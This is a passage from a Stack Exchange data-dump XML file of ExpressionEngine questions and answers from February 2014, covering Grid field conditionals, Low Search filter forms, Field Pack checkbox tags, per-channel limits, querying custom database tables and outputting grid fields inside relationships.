{segment_2}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul class=&quot;no-style-list resources&quot;&amp;gt;&#xA;{exp:channel:entries&#xA;    channel=&quot;groups&quot;&#xA;    disable=&quot;categories|member_data|pagination|trackbacks&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    status=&quot;open&quot;&#xA;    cache=&quot;yes&quot; &#xA;    refresh=&quot;30&quot;&#xA;}&#xA;{group_resources search:resource_type=&quot;{segment_2}&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a class=&quot;{group_resources:resource_file}{extension}{/group_resources:resource_file} {group_resources:resource_type}&quot; href=&quot;{group_resources:resource_link}{group_resources:resource_file}&quot; target=&quot;_blank&quot;&amp;gt;&#xA;            {group_resources:resource_title} {group_resources:resource_file}&amp;lt;/a&amp;gt;({exp:filesize_format dec=&quot;0&quot;}{file_size}{/exp:filesize_format} {extension}){/group_resources:resource_file}&#xA;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/group_resources}&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2744" LastEditorUserId="197" LastEditDate="2014-02-13T12:24:45.370" LastActivityDate="2014-02-13T12:28:48.517" Title="Not outputting a heading if a search: within Grid has no results" Tags="|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19399" PostTypeId="1" AcceptedAnswerId="19401" CreationDate="2014-02-13T06:02:20.687" Score="1" ViewCount="233" Body="&lt;p&gt;I need to find some solution to implement the filter for channel entries.I have a mock-up like you can see at screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y5aey.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User can select more than one options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use Low Search plugin, and my first idea was to form url according to selected options. But I don't understand how can I do this. Especially as I know url must be encoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May be anyone can give me some idea about solution for my task?&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2014-02-13T07:43:00.430" Title="Filtering channel entries by more than one options" Tags="|low-search|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19400" PostTypeId="2" ParentId="15333" CreationDate="2014-02-13T07:32:48.923" Score="1" Body="&lt;p&gt;Removing Freeform (and putting it back after the update has finished) works for me still.&lt;/p&gt;&#xA;" OwnerUserId="986" LastActivityDate="2014-02-13T07:32:48.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19401" PostTypeId="2" ParentId="19399" CreationDate="2014-02-13T07:43:00.430" Score="3" Body="&lt;p&gt;With Low Search, you do not &quot;form a URL&quot;, but rather you create a &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag&quot; rel=&quot;nofollow&quot;&gt;search form&lt;/a&gt; that you can submit, which will generate the URL for you. How you create the elements in your form depends on what types of filters you will need and how you set up your channels and fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the alphabet, you can use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt;, but you'd have to hard-code the options yourself. Here I'm targetting the &lt;code&gt;title&lt;/code&gt;, but you can target a custom field, too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;search:title[]&quot; multiple&amp;gt;&#xA;    &amp;lt;option value=&quot;a&quot;&amp;gt;A&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;b&quot;&amp;gt;B&amp;lt;/option&amp;gt;&#xA;    ...&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;starts_with&quot; value=&quot;search:title&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the style, &lt;em&gt;if&lt;/em&gt; that is a custom field, also use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;search:my_style_field[]&quot; multiple&amp;gt;&#xA;    &amp;lt;option value=&quot;Style 1&quot;&amp;gt;Style 1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Style 2&quot;&amp;gt;Style 2&amp;lt;/option&amp;gt;&#xA;    ...&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;exact&quot; value=&quot;search:my_style_field&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the country, &lt;em&gt;if&lt;/em&gt; that is a category group, use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#categories&quot; rel=&quot;nofollow&quot;&gt;Categories filter&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; multiple&amp;gt;&#xA;    {exp:channel:categories style=&quot;linear&quot;}&#xA;    &amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;require_all&quot; value=&quot;category&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And put all that inside the Form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to read all &lt;a href=&quot;http://gotolow.com/addons/low-search/docs&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt; on Parameters, Filters, and Template Tags before checking out the example page.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-13T07:43:00.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19402" PostTypeId="2" ParentId="18225" CreationDate="2014-02-13T09:51:46.223" Score="2" Body="&lt;p&gt;This will be fixed in the next version. In the meantime, if you make sure all columns are &lt;em&gt;not&lt;/em&gt; required, you can avoid the issue, too.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-13T09:51:46.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19403" PostTypeId="1" AcceptedAnswerId="19411" CreationDate="2014-02-13T10:01:50.987" Score="1" ViewCount="187" Body="&lt;p&gt;I have a template on a site being updated from EE 2.5.5 to EE 2.7.3 and during the update I've upgraded to the latest Field Pack 2.1.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template includes use of a Field Pack - Checkboxes field and relies on the :all_options capability available in Field Pack 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consequently it now fails because I belatedly see there is no mention of &lt;code&gt;:all_options&lt;/code&gt; in the docs for Field Pack 2! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/fieldpack/fieldtypes/checkboxes/tags.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/fieldpack/fieldtypes/checkboxes/tags.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using my checkbox series to output a table so it's critical I can output &lt;em&gt;something&lt;/em&gt; for each option regardless of whether it is selected or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's some of the code I had that was working before…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grade_ff:all_options}&#xA;  {if '{selected}' == &quot;&quot;}&amp;lt;td class=&quot;{option_name}&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;  {if:else}&amp;lt;td class=&quot;{option_name} y&quot;&amp;gt;Yes&amp;lt;/td&amp;gt;{/if}&#xA;{/grade_ff:all_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So unless I've missed something I now have to have a line of code &lt;strong&gt;for each of my options explicitly&lt;/strong&gt;…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td class=&quot;foo{if '{grade_ff:selected option=&quot;foo&quot;}'} y&quot;&amp;gt;Yes{if:else}&quot;&amp;gt;{/if}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td class=&quot;bar{if '{grade_ff:selected option=&quot;bar&quot;}'} y&quot;&amp;gt;Yes{if:else}&quot;&amp;gt;{/if}&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that right?&lt;/p&gt;&#xA;" OwnerUserId="354" LastEditorUserId="354" LastEditDate="2014-02-13T10:37:28.150" LastActivityDate="2014-02-13T13:36:47.310" Title="Pixel &amp; Tonic Field Pack 2.x :all_options and outputting when a checkbox is not selected" Tags="|pixelandtonic|field-pack|pt-checkboxes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19404" PostTypeId="1" CreationDate="2014-02-13T10:22:36.227" Score="2" ViewCount="27" Body="&lt;p&gt;Assuming I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;news|tweets&quot; &#xA;    disable=&quot;member_data|pagination|trackbacks|categories|category_fields&quot; &#xA;    status=&quot;open&quot; &#xA;}&#xA;&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can limit the results of each channel? For example 5 from tweets, 10 from news. I'm assuming not...&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2014-02-13T10:30:57.230" Title="Limiting channel entry results per channel" Tags="|channel-entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19405" PostTypeId="2" ParentId="19404" CreationDate="2014-02-13T10:30:57.230" Score="2" Body="&lt;p&gt;Your assumption is correct. You cannot limit to &quot;X&quot; number from EACH defined channel. You can limit to &quot;X&quot; number from the COMBINED defined  channels using the limit=&quot;X&quot; parameter.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-13T10:30:57.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19407" PostTypeId="2" ParentId="19398" CreationDate="2014-02-13T12:28:48.517" Score="1" Body="&lt;p&gt;You can use conditionals in the Grid loop to conditionally output the heading and &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{group_resources search:resource_type=&quot;{segment_2}&quot;}&#xA;{if group_resources:count == 1}&#xA;&amp;lt;h2&amp;gt; Waste Management Group {segment_2}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul class=&quot;no-style-list resources&quot;&amp;gt;&#xA;{/if&amp;gt;    &#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a class=&quot;{group_resources:resource_file}{extension}{/group_resources:resource_file} {group_resources:resource_type}&quot; href=&quot;{group_resources:resource_link}{group_resources:resource_file}&quot; target=&quot;_blank&quot;&amp;gt;&#xA;            {group_resources:resource_title} {group_resources:resource_file}&amp;lt;/a&amp;gt;({exp:filesize_format dec=&quot;0&quot;}{file_size}{/exp:filesize_format} {extension}){/group_resources:resource_file}&#xA;&#xA;    &amp;lt;/li&amp;gt;&#xA;{if group_resources:count == group_resources:field_total_rows}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{/group_resources}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-13T12:28:48.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19408" PostTypeId="2" ParentId="19383" CreationDate="2014-02-13T12:30:10.630" Score="0" Body="&lt;p&gt;Probably parse order because ifelse makes it an advanced conditional which is parsed later. Try 2 single if statements and you should be set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2_category_id != ''}---{/if} {if segment_2_category_id == ''}---{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more on parse order check &lt;a href=&quot;http://johndwells.com/blog/expressionengine-parse-order-advanced-conditionals-as-tag-parameters&quot; rel=&quot;nofollow&quot;&gt;http://johndwells.com/blog/expressionengine-parse-order-advanced-conditionals-as-tag-parameters&lt;/a&gt; and @low has this excellent in-depth PDF on the issue loweblog.com/downloads/ee-parse-order.pdf‎&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-02-13T12:30:10.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19409" PostTypeId="1" AcceptedAnswerId="19410" CreationDate="2014-02-13T13:02:22.650" Score="2" ViewCount="118" Body="&lt;p&gt;I have a  HTML table where a user can subscribe.I send an ajax call when the user clicks the subscribe button and store it in a &lt;strong&gt;non ee&lt;/strong&gt; table.Next time when the user comes on the same page,I want to show &quot;you have &lt;strong&gt;&lt;em&gt;subscribed&lt;/em&gt;&lt;/strong&gt; instead of &lt;em&gt;subscribe&lt;/em&gt;&quot;.PHP stage is input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of some reasons,i cant store my data in exp_members_data.Since i am using a non ee table,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i query it to get the desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solution?&#xA;This is what I am doing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT screen_name, email, location FROM My_table WHERE user = 'subscribed'&quot;}&#xA;        {screen_name}&#xA;        {email}&#xA;        {location}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user2133" LastActivityDate="2014-02-13T13:06:47.940" Title="Query a NON EE table in database?" Tags="|ee2|php|database|query|table|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19410" PostTypeId="2" ParentId="19409" CreationDate="2014-02-13T13:06:47.940" Score="1" Body="&lt;p&gt;What you have will work fine. You can query any table in the database with the query module. You may, though, have issues with table prefixing. I'm not sure if the query module auto-prefixes tables or not, but in the past I've had issues with tables not named with exp_, as EE  tends to automatically add the prefix to queries.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-13T13:06:47.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19411" PostTypeId="2" ParentId="19403" CreationDate="2014-02-13T13:36:47.310" Score="2" Body="&lt;p&gt;The &lt;code&gt;:all_options&lt;/code&gt; tag pair was actually removed &lt;a href=&quot;https://github.com/pixelandtonic/pt_field_pack/commit/757754cbd0c8a975c7843f4dd78af886b80da9f9&quot; rel=&quot;nofollow&quot;&gt;removed&lt;/a&gt; two years ago, well before Field Pack 2.0 came out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We removed it because EE doesn’t parse tags for fields that don’t have any data; it just removes them. And 99% of the time, people used the &lt;code&gt;:all_options&lt;/code&gt; tag pair in cases where they would expect the options to appear regardless of whether a checkbox was checked or not, etc.. So it led to a lot of confusion when the options would randomly not appear for certain entries.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-02-13T13:36:47.310" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19412" PostTypeId="2" ParentId="19378" CreationDate="2014-02-13T14:19:54.473" Score="0" Body="&lt;p&gt;It seems like you're most of the way there - you just need to make sure you prefix &lt;em&gt;everything&lt;/em&gt; within your child entry loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{sub_section:categories limit=&quot;1&quot;}&#xA;    {sub_section:category_id}        &#xA;    {sub_section:category_url_title}&#xA;    {sub_section:category_name}&#xA;{/sub_section:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-13T14:19:54.473" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19413" PostTypeId="1" AcceptedAnswerId="19514" CreationDate="2014-02-13T14:54:27.027" Score="1" ViewCount="75" Body="&lt;p&gt;I've got a matrix for my price modifiers. I don't map the base price field because I want to use the modifiers price as the full price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I use my {price} variable I get the price without tax. I've tried {price:plus_tax}, but that doesn't seem to work. &#xA;Everything is ok when I view my cart, but I really want the option to show the price with or without the tax in the step before.&lt;/p&gt;&#xA;" OwnerUserId="2746" LastActivityDate="2014-02-18T03:14:40.853" Title="Unable to use price:plus_tax with Matrix field" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19414" PostTypeId="2" ParentId="19381" CreationDate="2014-02-13T15:25:28.080" Score="1" Body="&lt;p&gt;Try next code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;filme&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot; limit=&quot;1000&quot;}&#xA;&amp;lt;?php&#xA;mb_internal_encoding (&quot;utf-8&quot;);&#xA;$letter = mb_strtoupper((mb_substr('{title}', 0, 1)));&#xA;if (!in_array($letter, $temp)) {&#xA;    echo &quot;&amp;lt;a href='$letter'&amp;gt;&quot;.$letter.&quot;&amp;lt;/a&amp;gt;&quot;;&#xA;    $temp[] = $letter;&#xA;}&#xA;?&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-14T09:08:10.320" LastActivityDate="2014-02-14T09:08:10.320" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19415" PostTypeId="2" ParentId="19368" CreationDate="2014-02-13T15:35:50.180" Score="1" Body="&lt;p&gt;I resolved this issue by adding a config variable &lt;code&gt;third_party_path&lt;/code&gt; like &lt;code&gt;$config['third_party_path'] = 'path/to/third_party';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2014-02-13T15:35:50.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19416" PostTypeId="1" AcceptedAnswerId="19419" CreationDate="2014-02-13T15:38:20.110" Score="2" ViewCount="91" Body="&lt;p&gt;In my template, I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dd&amp;gt;{categories backspace=&quot;2&quot;}{category_name}, {/categories}{if habitat_category_other} ({habitat_category_other}){/if}&amp;lt;/dd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When rendered in the template, it is converted into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dd&amp;gt;&amp;lt;p&amp;gt;Monarch Waystation, National Wildlife Federation, Other&amp;lt;/p&amp;gt; (Monarchs Across Georgia)&amp;lt;/dd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives an odd line break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get rid of these automatically added paragraph tags? I don't see anything about this in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;documentation for the categories tag pair&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CORRECTION:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is actually occurring with a different line of code (not the categories tag -- although I will have to check that one now, too, because it's probably also malfunctioning). The offending line is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dd&amp;gt;{habitat_programs}{if habitat_program_other} ({habitat_program_other}){/if}&amp;lt;/dd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &quot;habitat_programs&quot; is a &quot;Checkboxes&quot; fieldtype. How does this change the answer if it's not the &quot;Categories&quot; tag pair?&lt;/p&gt;&#xA;" OwnerUserId="496" LastEditorUserId="496" LastEditDate="2014-02-13T15:53:46.190" LastActivityDate="2014-02-13T16:02:57.137" Title="Unwanted paragraph tags added around checkboxes fieldtype in template" Tags="|categories|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19417" PostTypeId="2" ParentId="19416" CreationDate="2014-02-13T15:49:56.890" Score="-2" Body="&lt;p&gt;You could try adding &lt;code&gt;style=&quot;linear&quot;&lt;/code&gt; to your &lt;code&gt;{categories}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#channel-categories-style&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; docs entry.&lt;/p&gt;&#xA;" OwnerUserId="1192" LastActivityDate="2014-02-13T15:49:56.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19418" PostTypeId="1" AcceptedAnswerId="19426" CreationDate="2014-02-13T16:00:08.410" Score="5" ViewCount="1512" Body="&lt;p&gt;I was wondering how I output the contents of a grid field from within a relationship. I've got two related entries and everything is showing correctly except the grid (which contains an image and text field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a number of variations but haven't been successful yet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{relationship}&#xA;...&#xA;  {relationship:grid_field}&#xA;    {relationship:grid_field:image}&#xA;    {relationship:grid_field:text}&#xA;  {/relationship:grid_field}&#xA;{/relationship}&#xA;&#xA;{relationship}&#xA;...&#xA;  {relationship:grid_field}&#xA;    {grid_field:image}&#xA;    {grid_field:text}&#xA;  {/relationship:grid_field}&#xA;{/relationship}&#xA;&#xA;{relationship}&#xA;...&#xA;  {relationship:grid_field}&#xA;    {relationship:image}&#xA;    {relationship:text}&#xA;  {/relationship:grid_field}&#xA;{/relationship}&#xA;&#xA;{relationship}&#xA;...&#xA;  {grid_field:relationship}&#xA;    {grid_field:relationship:image}&#xA;    {grid_field:relationship:text}&#xA;  {/grid_field:relationship}&#xA;{/relationship}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc. Does anyone know the correct way to do this? The three dots represent the other content / fields. The way I have been outputting the other fields is as so: &lt;code&gt;{relationship:field_name}&lt;/code&gt; and that has been working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated, thank you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {embed='includes/header'}&#xA;  {exp:channel:entries channel=&quot;project&quot; status=&quot;not Closed&quot;}&#xA;  &amp;lt;div class=&quot;col-100 content-area&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;main class=&quot;col-sm-8 col-md-8&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;div class=&quot;flexslider&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;              {project_image}&#xA;              &amp;lt;li data-thumb=&quot;{exp:ce_img:single src='{project_image:image}' height='102' width='170' crop='yes' url_only='yes' allow_scale_large='yes'}&quot;&amp;gt;&#xA;                {exp:ce_img:single src=&quot;{project_image:image}&quot; height=&quot;330&quot; width=&quot;555&quot; crop=&quot;yes&quot; attributes='alt=&quot;{project_image:alt_tag}&quot;'}&#xA;              &amp;lt;/li&amp;gt;&#xA;              {/project_image}&#xA;            &amp;lt;/ul&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;          {project_content}&#xA;        &amp;lt;/main&amp;gt;&#xA;        &amp;lt;aside class=&quot;col-sm-4 col-md-offset-1 col-md-3 sidebar&quot;&amp;gt;&#xA;          &amp;lt;h3&amp;gt;Project Overview&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;div class=&quot;project-overview&quot;&amp;gt;&#xA;            {if client != &quot;&quot;}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Client:&amp;lt;/strong&amp;gt; {client}&amp;lt;/p&amp;gt;{/if}&#xA;            {if project_cost != &quot;&quot;}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Project cost:&amp;lt;/strong&amp;gt; {project_cost}&amp;lt;/p&amp;gt;{/if}&#xA;            {if location != &quot;&quot;}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Location:&amp;lt;/strong&amp;gt; {project_location}&amp;lt;/p&amp;gt;{/if}&#xA;            {features}&#xA;            {if features:feature != &quot;&quot;}&#xA;            {if features:count == 1}&#xA;            &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Features:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;ul class=&quot;project-features&quot;&amp;gt;&#xA;              {/if}&#xA;              &amp;lt;li&amp;gt;{features:feature}&amp;lt;/li&amp;gt;&#xA;              {if features:count == features:total_rows}&#xA;            &amp;lt;/ul&amp;gt;&#xA;            {/if}&#xA;            {/if}&#xA;            {/features}&#xA;            &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Sectors:&amp;lt;/strong&amp;gt; {exp:gwcode_categories entry_id=&quot;{entry_id}&quot; group_id=&quot;1&quot; style=&quot;linear&quot;}&amp;lt;a href=&quot;{path='sectors'}/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;{if cat_count != results}, {/if}{/exp:gwcode_categories}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Services:&amp;lt;/strong&amp;gt; {exp:gwcode_categories entry_id=&quot;{entry_id}&quot; group_id=&quot;2&quot; style=&quot;linear&quot;}&amp;lt;a href=&quot;{path='services'}/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;{if cat_count != results}, {/if}{/exp:gwcode_categories}&amp;lt;/p&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;          {testimonial}&#xA;          {if testimonial:quote != &quot;&quot;}&#xA;          &amp;lt;blockquote&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&quot;{exp:excerpt}{testimonial:quote}{/exp:excerpt}&quot;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p&amp;gt;- {testimonial:quotee}&amp;lt;/p&amp;gt;&#xA;          &amp;lt;/blockquote&amp;gt;&#xA;          {/if}&#xA;          {/testimonial}&#xA;        &amp;lt;/aside&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;col-100 project-col&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;Related Projects&amp;lt;/h2&amp;gt;&amp;lt;a href=&quot;{path='projects'}&quot; class=&quot;more-link&quot;&amp;gt; View all&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;row project-row&quot;&amp;gt;&#xA;        {projects_related status=&quot;not Closed&quot; limit=&quot;2&quot;}&#xA;        &amp;lt;div class=&quot;col-sm-6&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;              &amp;lt;h3&amp;gt;{projects_related:title}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;              {projects_related:project_image limit=&quot;1&quot;}&#xA;              {exp:ce_img:single src=&quot;{projects_related:project_image:image}&quot; height=&quot;199&quot; width=&quot;360&quot; crop=&quot;yes&quot; attributes='alt=&quot;{projects_related:project_image:alt_tag}&quot;'}&#xA;              {/projects_related:project_image}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;              &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Location:&amp;lt;/strong&amp;gt; {projects_related:project_location}&amp;lt;/p&amp;gt;&#xA;              &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Brief details:&amp;lt;/strong&amp;gt; {projects_related:project_brief}&amp;lt;/p&amp;gt;&#xA;              &amp;lt;a href=&quot;{path='projects'}/{projects_related:url_title}&quot; class=&quot;more-link&quot;&amp;gt;Find out more&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/projects_related}&#xA;      